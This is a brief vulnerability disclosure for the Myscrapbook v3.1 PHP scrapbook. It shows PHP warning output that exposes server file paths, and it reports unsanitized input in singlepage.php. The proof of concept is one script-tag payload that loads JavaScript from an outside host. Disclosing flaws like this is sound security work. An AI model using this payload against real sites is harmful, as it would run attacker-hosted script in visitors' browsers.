Myscrapbook v3.1 - XSS

Myscrapbook

Homepage:
http://www.pixytrix.com/myscrapbook/

Effected files:
singlepage.php

Full path error with viewing most files in the txt-db-api dir:
Warning: main(API_HOME_DIRutil.php): failed to open stream: No such file or directory in
/home/username/public_html

/myscrapbook/txt-db-api/sql.php on line 23

Warning: main(): Failed opening 'API_HOME_DIRutil.php' for inclusion
(include_path='.:/usr/lib/php:/usr/local/lib/php') in

/home/roguesta/public_html/myscrapbook/txt-db-api/sql.php on line 23

Warning: main(API_HOME_DIRconst.php): failed to open stream: No such file or directory in
/home/username/

public_html/myscrapbook/txt-db-api/sql.php on line 24

Warning: main(): Failed opening 'API_HOME_DIRconst.php' for inclusion
(include_path='.:/usr/lib/php:/usr/local/lib/php')

in /home/username/public_html/myscrapbook/txt-db-api/sql.php on line 24

When submitting pages into the scrapbook on singlepage.php, user input is not sanatized. This in
return could cause

XSS attacks. For PoC try putting:

[SCRIPT SRC=http://youfucktard.com/xss.js][/SCRIPT]

Screenshots of XSS vuln:

http://www.youfucktard.com/xsp/scrapbook1.jpg
http://www.youfucktard.com/xsp/scrapbook2.jpg
http://www.youfucktard.com/xsp/scrapbook3.jpg